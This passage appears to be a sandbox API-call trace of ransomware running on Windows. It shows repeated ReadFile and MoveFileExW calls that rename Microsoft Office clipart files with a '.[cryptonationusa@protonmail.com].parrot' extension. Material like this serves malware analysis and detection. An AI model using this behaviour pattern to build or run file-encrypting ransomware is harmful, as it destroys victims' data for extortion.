office\\clipart\\pub60cor\\space_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.429] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.429] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.434] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.434] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a2c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a2c, lpOverlapped=0x0) returned 1 [0153.435] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.436] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.441] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.441] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.442] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.442] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbd6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbd6, lpOverlapped=0x0) returned 1 [0153.443] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.443] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.445] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.445] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.445] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.447] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.447] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.448] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.449] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa16, lpOverlapped=0x0) returned 1 [0153.449] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.453] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.453] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.454] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.455] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x36dc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x36dc, lpOverlapped=0x0) returned 1 [0153.455] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.456] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.460] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.460] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.461] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.461] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2135, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2135, lpOverlapped=0x0) returned 1 [0153.462] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.467] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.467] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.469] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.469] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4f0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4f0, lpOverlapped=0x0) returned 1 [0153.470] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.470] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0153.474] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.474] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.531] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.531] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1844, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1844, lpOverlapped=0x0) returned 1 [0153.532] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.540] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.540] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.542] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.542] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x81c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x81c, lpOverlapped=0x0) returned 1 [0153.542] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.543] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.548] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.548] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.551] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.551] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1412, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1412, lpOverlapped=0x0) returned 1 [0153.552] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.553] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.557] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.557] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.559] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.559] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x50c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x50c, lpOverlapped=0x0) returned 1 [0153.559] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0153.563] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.563] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.565] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.565] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x778, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x778, lpOverlapped=0x0) returned 1 [0153.565] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.569] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.569] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.574] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.574] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2094, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2094, lpOverlapped=0x0) returned 1 [0153.575] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.576] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.579] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.579] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.581] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.581] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2fdc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2fdc, lpOverlapped=0x0) returned 1 [0153.582] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.586] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.586] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.588] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.588] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2764, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2764, lpOverlapped=0x0) returned 1 [0153.589] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.589] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0153.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.593] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.594] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 